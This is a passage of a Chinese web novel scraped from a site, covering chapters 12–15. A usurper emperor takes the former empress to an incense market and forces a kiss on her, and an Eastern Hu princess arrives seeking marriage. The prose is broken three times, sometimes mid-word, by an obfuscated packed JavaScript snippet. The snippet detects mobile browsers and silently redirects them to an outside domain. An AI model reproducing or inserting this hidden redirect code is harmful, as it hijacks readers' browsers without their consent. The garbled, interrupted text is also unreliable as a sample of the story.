她记得那是一个晚上,一个脸生的小丫鬟说主母传唤她过去。当她忐忑不安地走到花园,暗处的谢宸就扑了出来,沉重的身体压在她身上,黏腻的手掌捂住她的口唇,她以为她要完了。 直到谢玄发了疯一般将谢宸拉开,叫她快跑,她才缓过神来。 纪芙很想留下来,但是她知道她留下只能更加激起谢宸的兴奋,便只能狠下心往外跑,希望能找到人来帮她。 当她快要跑出花园,身后纠缠的声音突然停歇了,回过头,她看见谢玄被按在水塘里挣扎,一点声音都发不出来,只有双手拍打水面,水花升起下落的响声。 月色凉如水,四周又静又冷。 纪芙以为谢玄死定了。 后来主母知道了这件事,最终是叫谢宸撒了手,但也从此对纪芙愈加怨恨,直到寻了个错处叫来了人牙子偷偷将她卖出了府。 后来总算是老天保佑,她得到了贵人的喜爱,脱离苦海。孙明诚爱她入骨,不嫌弃她的出身和过去,愿意扶她做正妻。 仿佛她前几十年的痛苦生活都是一场梦,她的生活终于修成正果,回到正轨。她有了疼惜她的丈夫,和善的婆婆,乖巧的儿女。随着时间推移,她再不是那个只有谢玄的可怜纪芙。她的生命多了太多东西需要她去在乎维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040478|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护。 甚至阴暗一点剖析开自己的心,纪芙很清楚,如果不是谢玄篡位成功,她此生也许都不会再和他有来往。 只有当他成了至高无上的人,能给她的丈夫儿女带来无尽荣光的人,她才能、才被允许和他接近。 毕竟她是谢玄的母亲,如果谢玄出了意外,她的儿子,也就是谢玄同母异父的弟弟或许就是皇位的继承人。 思及此,纪芙脸上含笑,“玄儿,这是你弟弟孙恒。恒儿,叫哥哥。”她推了推身前有些发懵的孙恒。 孙恒皱着眉头,不明白为什么母亲要让他管一个陌生人叫哥哥。更是出于小孩子的敏感,下意识觉得眼前这个冷若冰霜的男人和他并不亲近,并且还有抢走自己母亲的可能。于是别扭地抱紧纪芙的大腿,不肯出声。 “母亲还未曾说为何要突然见我吧。”谢玄无视孙恒的排斥,也无视纪芙长时间的沉默,他似是全然不在意,自顾自地坐下用膳。 许是耽搁的时间有些久,桌上的菜肴都凉了。甜咸荤菜腻腻的酱色油脂结成薄薄的一层,倒人胃口。 谢玄避开几样油腻的荤菜,挑凉爽的清拌时蔬下口。 “玄儿还和以前一样,喜食清淡易消化的。”纪芙看出谢玄的冷漠和渐冷的氛围,连忙牵起孙恒的小手坐在桌子前。 谢玄夹菜的动作一顿,就连他身后的胡伽也暗自咂摸。 除了斋戒的几天,平日里他伺候谢玄的时候分明见谢玄更爱荤香的菜肴。他是武将出身,身体消耗本就大于常人,若天天吃些寡淡好消化的蔬果凉菜,哪里来的力气打仗杀敌? 胡伽悄悄去端详谢玄的脸色,见他面上虽没什么大变化,但是吃菜的动作明显慢了许多,猜测出这位主已经生了闷气,只是纪芙不知罢了。 “我不过是想来看看你。”纪芙夹了清蒸的鲤鱼给谢玄,“顺便让你也见见你亲弟弟。你们是亲兄弟,自然应该多联系。” “可我以前都没见过……”孙恒小声嘟囔,被纪芙用食物堵住了嘴。 谢玄全当没看见这一幕,将碗里的清蒸鱼吃干净,而后放下筷子,“既如此,母亲就在宫里住些时日吧。”他终是没拒绝纪芙,只是也没再理会纪芙欲语又休的眼神。 他是皇帝,他的母亲合该是太后。 谢玄自然是知道这事的,只是若纪芙成了太后,那他这个便宜弟弟呢?谢玄心里发冷,昨晚那些不应该生出的期待慢慢消失。 他从不爱吃这些清淡无味的菜,小时候不过是食物匮乏,想把好东西让给母亲罢了,却让纪芙误以为自己不喜荤腥。 八九岁的孩子最是贪嘴,又是长身体的时候,他自然渴望,甚至在夜里都做着相同的大快朵颐的梦。 那为何纪芙会不知道呢? 谢玄走出静心阁,似乎听到纪芙未能达成心愿的叹气声。 也许大人总是觉得孩子还小,不会有那么多心思,觉得不喜欢就是不喜欢,并没有其他的原因。 “陛下,可是回紫宸殿批折子?”胡伽小心翼翼地问道。 谢玄斜睨了胡伽一眼。 胡伽心领神会,高声道: “摆驾凤宁宫!” 12. 出宫 “娘娘,香市①真有那么好玩吗?”春桃方才从虞夫人那听到许多宫外的事,心生好奇。她理完手里的丝线,抬头去看出神的虞枝,“娘娘?” “啊?”虞枝眨眨眼,从自己的思绪中抽离,随意道:“好玩呀,尤其是京城天仙庙附近的香市,不仅买卖香火纸烛,还有糖人、首饰、玩偶……街上人极多,摩肩擦踵,热闹极了。”说起来今儿是夏至,宫外肯定有的热闹。 虞枝也回忆起小时候跟着哥哥姐姐逛香市的场景,小小的人手里紧握着小小的泥人,东瞧瞧西看看,只觉得哪里都有趣,一双眼睛根本不够她看的。那时她出门还不必带着厚重的帷帽,看东西不会像隔了一层水雾般不真切,万物入她眼眸都是如此的鲜活生动。只是那样的时光终究是一去不复返。 她想起小时候陪她逛香市的哥哥,就想起他坚定的眼神,那时他便一心想成为一个能载入史册的忠臣良将,他和父亲一样,都是宁死不肯屈服新朝的人。还苟活着不过是还有元澈这个希望,还有光复前朝的信念。 虞家自开国以来出过三代宰相,备受天恩眷顾。当年虞家先祖就是被朝廷压迫地无路可走,投身入元家的起义队伍,乃是从龙之臣。可以说没有元氏就没有虞家,尽管元临背信弃义寒了虞家父子的心,但他们绝不允许江山易姓。 “娘娘?”春桃见虞枝又沉浸入自己的世界里了,无奈用手晃了晃虞枝的手臂,“娘娘怎么自从老爷夫人进宫了之后就变得爱走神了?”春桃担心好不容易恢复了生机的虞枝再次消沉下去,忙求她再说些香市的事转移她注意力。 虞枝只好顺着刚才的话题又说了些,从求子灵验的天仙庙谈到京西永兴河畔的木槿花。春桃听得投入,虞枝也讲得用心,没注意缓步走进来的谢玄。 等到春桃一抬头,发现谢玄已经站在了虞枝身后。她刚要起身问安,却见谢玄摇摇头,她没敢吱声,眼神慌乱地看向虞枝。 虞枝正低着头构思画作,一时没察觉叽叽喳喳的春桃何时闭了嘴。 “怎么不继续问了?”虞枝等了一会不见春桃追问才轻笑道:“光听人描绘是最没用的,那样的风情还要自己亲身感受才是。” “娘娘说的极是。” !!! 虞枝心一紧,下意识闻声扭过上半身,抬头望见一脸玩味的谢玄,瞬间被吓得跌坐了回去。 谢玄弯腰伸手想去搀扶,却瞧见虞枝一瞬间惨白了的脸色,哑然收回了手,由着春桃上前扶起了虞枝。 他哪里知道方才虞枝一边给春桃讲香市,一边在心里琢磨父兄的计划,此时惊觉谢玄在侧,心里庆幸着还好没透露出半点。不然岂不是将父兄与元澈一起卖了?且虞家父子能如此大胆地将计划告诉给虞枝,就是因为这些日子谢玄已经渐渐对虞枝放下警惕,不再像之前那么严加看管,若是让谢玄察觉出虞枝的乖巧是另有算计,他岂能再放任虞枝自由行事? 一失足怕成千古恨。 由此虞枝心生慌乱,手掌和后背瞬间冒出冷汗,连忙避开谢玄的视线,心虚地由春桃搀扶着起身。 好在谢玄只当她是被他突然出现惊到了,没去细究。 虞枝一边长舒了一口气,一边又隐约生出愧疚。 他怎么可以……如此相信她?如此相信一个前朝的皇后,甚至是在杀害了她的夫君之后。 难道不知人心易变吗?当年她可以对为国征战的谢玄流露出欣赏的眼神,真心地为他的伤痕感到心痛,可是他们都不再是当年青葱的少年人,心底早就有了各自的算计。 虞枝收紧搭在春桃手臂上的手掌,沉默地盯着自己的裙摆。 春桃扶起了虞枝,忙向谢玄行礼。 “起来吧。”谢玄嘴上对春桃说话,目光却一直在虞枝纤细的腰身流连,他直觉觉得虞枝似乎又瘦了些。不是已经将她家人接进宫了吗?难道还不能宽慰到她? 谢玄撩起衣摆,十分放松地坐在了虞枝的椅子上,目光紧紧盯着低垂着眉眼的虞枝。 许多日未曾共枕而眠,谢玄忽然想念起幽香绵软在侧的夜晚,暗自摩挲揉捻着指腹。 “想出宫了?”谢玄静静地看着虞枝,思索着能让她开心起来的方法。 他们第一次相遇就是在天仙庙附近的香市,想来她也许还记得。 谢玄情不自禁嘴角上扬,看得虞枝莫名其妙。 “没……” “今天是夏至,天仙庙附近的香市一定热闹至极。”谢玄忽地站起身,“走。”他不由分说拉住虞枝的手腕。 “什么?”虞枝错愕,见他漆黑的眸中带了细碎的讨好和愉悦。他似乎觉得这是她想要的。 “胡伽,备马……罢了,备架平稳的马车。”谢玄思及虞枝绝对不会和他当街纵马,既是为了让她开心,就还是顺着她的心意。 “我不想……”虞枝赶紧摇头。就算她想出宫,也不是和谢玄一起。 她奋力想要抽手,却被谢玄越握越紧。 他就坦然且平静地看着她挣扎不休,仿佛在看一只闹不出他手掌心的猫儿。虞枝被他看得心生羞愤,扭过头去,恰好见效率惊人的胡伽竟然真引来一架马车停在凤宁宫前的甬道里。 也不知他哪找来的。 虞枝气极,咬牙道:“不许你和我坐一辆车!”说完,趁着谢玄松手想扶她上车的间隙独自踩了马凳钻进了车里。 滑腻柔荑抽离的瞬间,与粗粝温暖的掌心短暂摩擦。谢玄手落了空,他静静地维持了一会伸手的动作,仿佛自己手掌中还紧握着虞枝冰凉的肌肤。 “遵命。”谢玄尾调上扬,慢悠悠收回手掌,慵懒又纵容。 他不知抽哪门子疯,又与虞枝玩起了人臣与皇后的尊卑戏码,叫虞枝在车里气红了脸。每当此时,虞枝心里就跟扎了根尖锐的刺一样,每呼吸一下都觉得疼痛。 不仅是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040479|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢玄败坏了人伦天理,也因为谢玄的戏谑语气。 曾经她那么高高在上,决绝而又自负地抛弃了谢玄,甚至在重逢的夜晚,以一种胜利者的姿态同他问话。而如今局势逆转,她从神仙塔跌落进贼子窝,不复之前的从容淡定。 还记得那时她看着谢玄远去的背影既心疼又欣慰。心疼他为国征战伤痕无数,欣慰自己和他都走上了对各自来说最适合的道路。她那时以为这就是正确且唯一的路。偏偏谢玄不认命不信天,非要搅动风云。 “娘娘坐稳了。”谢玄声音从车外传来。 竟是由他亲自驾车。 羽鸾卫不敢放松,派出了身手最好的扮成小厮跟在马车两侧,其余的十几个人装成和谢玄不认识的模样,各自散落在马车四周静观其变。 待到马车驶出宫门,渐渐有中气十足的叫卖吆喝、笑语欢声传过来,虞枝绞紧手中的帕子,内心有些不安。 她已经很多年没有出过皇宫,童年记忆中的长街早已经变得模糊,成了矗立在记忆汪洋中隔着水雾的仙岛,只可远观不可近觑。 “娘娘。”谢玄声音低沉,还带着些玩味的笑意,“在宫里还说得津津有味,怎么一出宫就噤了声呢?”他压低声音,可语调分明是调笑的。 装扮成仆人的胡伽暗自笑了笑,心道还是第一次看见谢玄如此温柔的眉眼和语气。也放下了心里的担忧,指着前面热闹的一条街道:“少爷夫人,前面就是香市那条街了,直走过去就是永兴河,听说那里的木槿花开得极好!” “知道了。”谢玄勒紧缰绳,“走吧。”他回头看向平静的车厢。 若不是他一路上注意力都落在车厢里,恐怕此刻就会觉得是虞枝中途逃跑了,不然车厢为何会如此安静? “小虞?”谢玄加重了音量。 明知道她不可能在重重看护下凭空消失,但谢玄心里还是不可抑制地生出一股恐慌,非得让他亲自确认了后才能消解。每当想到虞枝有消失在他眼前的可能,他的心忍不住地一阵刺痛,恨不得打造一所密不透风的金屋将她藏起来。但同时又怕虞枝会变得消沉寡言,郁郁寡欢。 无论哪种,虞枝似乎都会决绝而失望地离开他。 他抿唇半响,然后一把掀开厚重的车帘。 舒适的车厢软垫上端坐着眉头紧皱的美人,亮亮的眼睛藏着不满和纠结。 谢玄松了口气,慢慢松开了握紧的车帘,细长蓬勃的青筋再次隐进皮肤之下。他对虞枝扬起下颌,“要不我抱您出来?” 又来了! 虞枝瞪了一眼谢玄,努力咽下胸口憋着的一股气,忽视掉他语气里的玩世不恭。一边暗骂他这些年性格越来越放肆,一边无视掉谢玄递过来的手,自己提起层层叠叠的烟青色裙摆。 待路过谢玄身侧的一瞬间,她听见谢玄用只能他们两人听见的声音道: “娘娘开恩,再给我捏个泥人吧。” 13. 木槿香 “什么泥人?”虞枝的疑惑不是假的,她在谢玄眼中看见很清晰的错愕。 但是她真的不知道谢玄在说什么。 这一刻的谢玄仿佛打了败仗的将军,气势一下子低沉下去,但是他仍不死心,一双沉静的黑眸不肯放过她,妄图在对方的美目中找到零星的踪迹。 “就是……”谢玄顿住,他才发觉虞枝早就将初遇的往事忘记了。念念不忘的人一直只有他而已。“没什么。”谢玄扭过头,脸上跟结了冰霜似的。 虞枝被他突如其来的冷漠吓到,后退了一步。她素日里温和的眉眼也漫上戒备,又或者说她只是这些时日将戒备藏得很好,好到谢玄以为她已经谅解了他的所作所为。直到今日虞枝觉得自己终于发现了谢玄面具下的喜怒不定、隐忍暴虐,她才控制不住地恶寒。 不过也只是一瞬间,她就垂下鸦羽似的长睫,掩盖住内心的烦闷。 谢玄究竟是个怎样的人,她在宫变那日就领略到了,不该对他存在任何幻想。他对她好不过是他还没从过去的失意中走出来,仅仅是把她当成昔日失去的所有物罢了。 二人沉默,顺着人来人往的人群朝香市另一头走。 道路两侧都摆满了各种各样的小摊,租借了房屋或是自搭了厂棚,一个连着一个,像是永兴河上连成一片的青紫睡莲。有嶙峋老者守着几件不知是哪朝的古董,逢人便故作神秘地摇头点头,吸引了不少闲逛男女的目光。其间胭脂水粉、耳铛发簪数不胜数,通俗志怪小说杂谈叠摞若鱼鳞,哄诱小儿的零食玩具亦不可数。捏泥人的手艺人就正在一群孩子中间指导他们亲自动手。 不过这里最热闹的还要数买卖香火纸烛的摊位,人们买了香火,亲自去天仙庙祈求子嗣族运,以求心安。 此时阳光已没有午时刚过那般刺眼,暖风送香,将名妓游娃、清客贵人身上或浓郁或恬淡的香味送来。 虞枝穿戴上了准备好的帷帽,把这热闹非凡的世界隔绝在外面,连同一言不发的谢玄一起。 “前面是天仙庙……”谢玄的声音还带着别扭的冷淡,但他目光在触及虞枝腰间的小马坠时又不自觉柔和了些,“可要进去上香?” 虞枝僵硬地摇摇头,她从小就知道天仙庙求子嗣最灵,这是她最害怕的事情。 谢玄没有强求,带着虞枝走走停停,不仅路过京城中最是风雅的文人闺秀,也路过浓妆艳抹、描眉画唇的乡野妇女,她们一年来少有清闲,但爱美爱热闹的天性却始终留存在心里。洋溢着生命力的笑容掩盖了粗糙妆容的不足,欢声而过的瞬间格外引人侧目。 虞枝也被吸引了去,她惊讶于人们欣欣向荣的姿态,全然不像是旧的王朝刚刚覆灭的样子。 她一时惊愕,为何大家脸上毫无悲伤之意?她原以为会有很多人怀念旧朝,谁想到他们似乎在新朝也能扎得了根,仿佛并不在意哪家做皇帝。 虞枝安慰自己是百姓们眼前只有自己的一亩三分地,他们不是从小浸润在三纲五常里的臣子,自然不能拿自己的标准去要求他们。 “你在奇怪他们为什么不为元临的死伤心,不为我的无耻而愤怒?”谢玄忽地贴近,低沉磁性的声音在虞枝耳边萦绕。 十分地痒。 虞枝借着帷帽光明正大地瞪了他一眼,但没有否认他的猜测。 谢玄笑了笑,狂妄道:“那自然是因为你夫君我才是众望所归。” 不出意料,虞枝停下了脚步。目光如有实质,谢玄怕是要被刀剐千万回。 果然,乖巧只是表象。谢玄胸中生出一股想要拔去猫儿锋利爪子的念头,但转瞬又觉得血淋淋的没意思。 得到了虞枝的气恼,方才因泥人而起的不快才在谢玄心中散去。 迷雾渐开,人群不再那么密集。永兴河水载着如少女红颊般的木槿花瓣漂流,耸立青绿的西山在晚霞中沉稳不动似眉间弯弯双黛,倚水而建迷醉春风的酒楼响起琴和琵琶的乐调,来自吴地的歌女嗓音细腻轻柔,慢条斯理地倾诉时光流淌,从壶中倾倒出的清澈美酒与河水波纹暗合,奏成一曲乐章。 谢玄掏出一锭银子,叫店小二寻了个三楼临河的雅间。此处紧挨着一树繁茂的木槿,又雅致安静。 他叫人上了些饭菜瓜果,见虞枝连帷帽都不肯摘下来才渐渐收敛了调笑,略正色些。 “我记得从前你还夸我心怀天下,有凌云之志。”谢玄主动提起过往。 香风盈袖,他夹住飘进来的木槿花瓣。 “人心易变,你又何曾是当年那个只为了解救边关百姓于水火之中的小谢将军。”虞枝嘴角微微一笑,却是嘲讽,“元临放心地把数十万大军交给你,把边境防线交给你,你就是这么报答他的?”她声音越来越冷,尽管懊悔又和谢玄撕破了脸,但她却忍不住质问。 “人心易变?”谢玄将指尖的花瓣投入酒盏,看着它在狭小的杯口逐水飘零,一字一句道:“我从未变过。” 接着谢玄再度开口道:“你不是疑惑为什么那些百姓眼里没有一点悲伤?”他自言自语一般,“当年东胡南下至燕云十六州,甚者就驻扎在距离京城百里之外的通城,他们烧杀抢掠无恶不作。元临对此可做了什么?他为了继续当他的太平皇帝,为了专心修道建庙,同东胡签订了耻辱的条约,每年拿着百姓的血汗来换取自己的享乐。” 谢玄的厌恶不加掩饰,他紧紧盯着虞枝,不肯放过她的一点微动。 当年他上书请求迎战,得到的是元临无休无止的忌惮和猜疑。甚至在紫宸殿,他暴怒着跑到他的面前,质问他究竟是不是对自己的皇后有不轨之心。 他对着元临神志不清的眼睛,对着君臣之间的尊卑,就如同回到了母亲被发卖的那个午后,他拼尽全力,仍然不能掌控自己的命运。 不轨之心? 何止啊。 他在梦里做过多少,恐怕他只要随意挑出一两件就会把元临逼得发疯。 元临不爱虞枝,但不允许有人窥伺他的所有物。 可谢玄也不是没脾气的病猫,天下不是生来就姓元的,群雄逐鹿,胜者为王。 谢玄忽然忍不住想要掀开这层碍事的帷帽,他迫切地 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谢玄却不停止,继续道:“况且元临此人,你与他夫妻数载,”谢玄从牙缝里吐出这几个字,心里嫉妒得要命,“难道不了解他的为人?他可是只要我稍稍表现出对娘娘您的片刻关心就要大发雷霆,他的自负暴戾我想只有您能容忍,他的臣民早就快要忍不下去了。” 没有他也会有王玄郑玄,元临这个皇帝当不久的。 虞枝被捏得口中津/液盈满,沾湿了樱红的双唇,湿淋淋一片靡乱。 谢玄用手指去擦,熟练地重复他在梦中做过许多次的事情。 也许再在柔软的唇角染上几抹乳白才会更加合他心意,同样的,他也愿意俯身去亲吻娇艳的花蕊汁液。 只是……谢玄克制着眸中渐起的欲/望,让腹中燃起的火随着他指尖的动作消寂。 这会吓到她。 谢玄很清楚虞枝不会愿意那样做。 作为爱人,他愿意退让。他可以收起不为人知的一面,只要她可以慢慢接受他,他愿意永远把阴暗的一面关进笼子里,哪怕这需要诸多的忍耐。 “谢……玄……”虞枝实在受不了谢玄露骨的眼神和侵犯力十足的动作,终是求饶。 偏这声音软了弱了,猫挠似的在掌心,真和梦中的情景重合了。 连谢玄也要晃神。 外头起风了,木槿树被吹得飒飒作响。无数花瓣霎时间被风催赶着飞进酒楼,一片人声赞叹在楼上楼下响起,夹杂着吟诗作画的高亢醉意。 那花香比醇酒还要醉人半分,乱人心神。 “小虞。”谢玄没松手,就如同在梦境中选择沉沦。 虞枝听到他似乎清醒的声音,心中却愈发慌乱,因为她看见谢玄素来冷静的黑眸里分明闪着疯狂。 谢玄终于追随了本心吻了上去,在木槿花香的天地间。 湿润如同甘甜的雨露降下。 虞枝闭眼前只能看到漫天的木槿花和谢玄泛红的双眼。 他不肯闭眼错过她的泪与乱,只能由她闭上眼,装作是醉倒在了木槿花田。 “松口。” 谢玄命令道。 14. 公主 天边刚下了一场雨,濯去尘世的浮埃积垢,雨后清新的薄雾朦胧悠远,带着十足的水汽。 石留青下了朝,踏着湿漉漉的青石板路进了紫宸殿。 听胡伽的干儿子说,昨天下午皇帝带虞枝出宫逛香市。他内心生出一种说不出的恐慌来,因为他们回宫那晚,他就在宫门旁接驾,看着天子的目光一直落在帷帽下沉默不语的女人身上。 不知是不是旁观者清,他总觉得似乎能从虞枝的动作里察觉到一丝僵硬——她并没有表面看起来的那么顺从。 扫洗的太监宫女将紫宸殿的地板擦拭得能当镜子看,石留青端详了一下自己眉头紧皱的脸,暗笑自己许是多心。 “臣参见陛下。”他跪下行礼。 “起来吧。”谢玄略一抬头,示意石留青入座。 石留青也不客气,暂且把刚才的心思收起来,同谢玄商议起国事:“陛下,臣已将京城驻军的三分之二分派往边关驻守,以防东胡突然发难。”如今汉人与东胡剑拔弩张,不可不防。接着他又补充道:“并将元临手下驻留京城的亲卫悉数充编,只是他们虽表面臣服陛下,但暗地里似乎……” “群龙无首的宵小,不足为惧。”谢玄平静地翻阅起下一本奏疏,手中的朱笔上下飞舞,未曾停下。 石留青欲言又止。此时确实是群龙无首,可若是群龙有首了呢?元临又不是没留下子孙后代……他悄悄看了谢玄一眼,见他似乎并没有把这事放在心上,便叹了口气。 他大约猜测留下那群后妃婴孩的一部分原因应该是虞枝,但这更令他感到害怕。虞枝的父亲可是当年歃血拥立元临的保皇党,虞家的世代忠烈他也不是没有耳闻,这才令他格外从心底里觉得后怕。 “那京城中的守卫会不会太弱了些?”石留青不放心,又问道。 谢玄这时才停笔,“不是朕不知道你在想什么。”他突然抬眼,一双黑眸明亮无比。 两人并肩作战五六年,对方一个眼神便能传递出心底的想法。 石留青看到谢玄眼中的无奈,心中了然。谢玄怕边关不稳,让外族有了可乘之机,甚至勾结内朝夺权。若是令国家落入外族手中,他和谢玄死都不能谢罪。 兵就这么多,守了京城就保不了边关。 谢玄自然也有他的无奈。 “是。”石留青声音微沉,“驿站使臣已飞鸽传书,东胡使者不日就将抵达京城。据其所讲,东胡的一位名叫库狄舒的公主也随队伍前来。” 石留青挑出不同寻常的点讲给谢玄。 使团带着公主前来多是带有和亲之意,意欲用和平的方式解决冲突。而这位库狄舒公主当年本就要同元临和亲,只是后来出了苏文苑之祸,东胡人野心大涨,一时间不屑于同元临言和,和亲一事自然就搁置了下来。后来这位库狄公主接连死了三个未婚夫,时至今日仍没有嫁人。 有了前尘,此次目的就显得呼之欲出了。 “嗯。”谢玄淡淡应了声。 谢玄手间动作不停,忽然像是想起了什么似的,朝胡伽吩咐道:“告诉皇后,今晚朕批完折子就去她宫里用晚膳,让她别睡太早。” 谢玄嘴角分明噙着他都未曾发现的笑意,看得石留青眉心一跳,心愈发下沉。 但愿皇后娘娘也像他们陛下一般真的动了情。 * “你是说他们新朝的皇后娘娘还是之前我见过的那个?”库狄舒劳累了一天,晚上还要同使者卑路斯前去赴宴,脸上难免有了倦色。 白皙透红的皮肤更凸显出眼下乌青,库狄舒对着汉人惯用的铜镜仔细看了看自己的穿着打扮,再同路上见到的汉女做出比较,嗤笑道:“那女人必定有十分了不得的手段,倒让我有些好奇了。” 她想起多年前初见虞枝的那晚,美丽的木头美人让她只看了一眼就失去了兴趣,她那时就觉得等她进了元临的后宫,虞枝绝不会是自己的对手。不想却是小瞧她了,等进了新帝谢玄的后宫之后可要好好提防虞枝才是。 不过说起来这位新帝的后宫还形同虚设,至今只有一位皇后坐镇。库狄舒整理了自己鲜红如血的贴身短衣,把上面的褶子一一抚平,丰满的腰身和笔直的蜜腿包裹在利落飒爽的胡服中。 她对谢玄势在必得,因为这实在是双赢。 东胡不想同难对付的谢玄为敌,谢玄也不会想要在国库空虚的情况下大动兵戈。料想谢玄不会拒绝她,而她—— 库狄舒想起多年前在草原上的遥遥一眼。 寒风刺骨,吹响染血旌旗。身材修长的男人只身躲过飞速划过的利剑,翻身上马的瞬间从箭袋抽出羽箭奋力一射,冷箭穿过斜阳杀死了她身边最凶猛的勇士。 她记了他很多年。 “走吧。”库狄舒满意地步出了房间。 悠远韶美的音调随暖暖的香风吹拂过池边细柳,柔软的柳枝宛如歌儿舞女纤细灵活的腰肢,极尽柔美,飘拂过被风吹起涟漪的池水,搅动湖心清月淡影。 云舒星朗,烛明影长。 库狄舒一杯醇厚的美酒下肚,略挑眉。没想到中原也有这样醇厚的烈酒,不只是软绵绵甜滋滋的果酒。 她再拿起银制的酒壶,扭动几分看全了壶身上的雕花纹样,暗道俗气。再给自己倒了一杯酒,这次却不着急饮,先是在手中摇晃几分,看盛入杯中的圆月,然后抬头向四周看去,最后将目光落在最上位的一玄一黄身上,仰头饮尽烈酒。 那女人和几年前并没有什么差别,岁月待她并不像待她们胡人女子那般匆匆,她仍旧保留着昔年的模样。 库狄舒盯得入神,让虞枝察觉到不适。 她终于朝库狄舒看去,对上了库狄舒挑衅十足的眉眼。 这是……把她当假想敌了? 虞枝心里暗自合计。东胡的使者团带着一位公主远道前来,醉翁之意不在酒,想来是觉得英雄难过美人关,想要先拿谢玄下手了。 虞枝收回目光。她记得这个库狄舒,初见时她还只有十三岁,一双蓝眼迸出野心而轻蔑的目光。 她能不能如愿,虞枝不在乎,也决定不了。 想到这,虞枝忽然起了心思想偷偷看一眼谢玄会不会已经被这英姿飒爽的美人吸引了去,便借着夹菜的动作略偏了偏头。 正巧,谢玄刚与东胡使者客套完,暂时闲下来。 两人坐得近,目光对到一块去。 虞枝率先想起香市的那一夜来,脸刷一下飞红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040481|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抱着她究竟亲了多久,虞枝甚至都记不清了。到后来是舔是蹭还是咬?虞枝昏昏的头脑分不清,身体的异样更令她惊慌失措。不推开只是因为计划如此,并非其他。 虞枝安慰自己。 可那目光如有实质,存在感比库狄舒的强上许多,叫虞枝根本无法忽视。 “醉了?”谢玄刚饮了酒,声音有些低哑。 宽大的衣袖便于谢玄‘作乱’,他不带迟疑地覆盖上了虞枝冰凉的手。 想起香市那夜虞枝最后的放弃抵抗与这些日子的乖顺和柔情,谢玄踏进了一团棉花似的,被包围住,连思考的能力都淡了几分。 “不开心?”谢玄不见虞枝回答,又接着问。语气里藏着奇怪的开心。 “没有。”虞枝摇摇头,没推开手上很舒服的热源。她的身体自汤泉行宫的雨夜落下了病根后就再没有如谢玄这般像人一样的体温,从来都是冰冷的,在夏日里也不像是个活生生的人。 有那么一瞬间,也就这一瞬间,虞枝很想让这热再近一点,离自己跳动的心脉近一些,让自己感受一下——活着是什么滋味。 但不推开已经是虞枝最大的勇气和忍让。 谢玄明显得寸进尺,或者说他自己以为已经掌握了和虞枝相处的底线,得意地贴近虞枝,眼神坚定而又自负:“我不会娶库狄舒。” 说完,他仰起头,像是一只立了功,等着主人夸奖的大型猎犬。脱掉在外威风凛凛的嗜血杀气,甘心翻滚在主人的脚边等待一句表扬。 “……”虞枝沉默,她很想告诉谢玄她不在乎他究竟会不会娶库狄舒,但是谢玄想听到的分明不是这个。她想起元澈湿漉漉的眼,她需要把元澈从翠薇宫里接出来,最好是养在自己身边。这件事只有谢玄能办成,所以她不得不顺着他的心意,让他以为自己已经放下了过去,将情爱投入到了他身上。 于是虞枝忽然抽出手,“是吗?可是东胡的使者团就是为你而来的。”虞枝故作娇嗔。 爆灯花似的,谢玄眼中忽然明亮了一瞬。 天边一闪,闷闷的雷声从遥远的天际传来。乌云遮月,长风席卷。 世界忽地黯淡下来,快得像掠影。 “他们是为我而来,可是我答应过你——”谢玄一顿。 圆月的最后一丝光芒被遮掩,白光闪过。 “答应过我什么?”虞枝不解。 一声巨响炸在空中。 谢玄仍笑着道:“让你做我唯一的妻。” 没有其他人的插/入,只有你我。 快下雨了,虞枝被雷鸣或是谢玄的话吓住。她浑身发冷,上下牙齿不受控制地打颤。 宫女太监忽地忙起来,请这个回宫请那个避雨。 豆大的雨点不给人喘息的机会,库狄舒不甘心地看着高大的男人一把拥住娇小的女人,将风雨隔绝在外。她咬牙恨恨。 那男人竟然没有看她一眼!从没有人这样忽视过她,就连他们汉人上一个名正言顺的皇帝元临都没有! 库狄舒带着恼怒踏进雨中。 雨幕成帘,虞枝被一柄硕大的伞遮住,耳边响起男人柔和的声音: “犹记当年汤泉行宫,娘娘曾为我遮了一夜的雨。” 15. 倾伞 汤泉行宫……虞枝忽地忆起了,流言蜚语自此始,君恩盛宠从此薄。 汤泉行宫依璃山而建,景色秀丽。 竟日大雨成幕,嘀嗒成珠玉散落的响声,嘈杂而无序。 元临烦闷,带着后妃暂躲到汤泉行宫寻个清静。午睡梦长,醒来天日昏黑,问了身旁的太监说是已经戌时。 外边雨不见减弱的趋势,元临沉默了半响,问太监谢玄是不是还在外面跪着。 太监答:自午后到现在,固执得很。 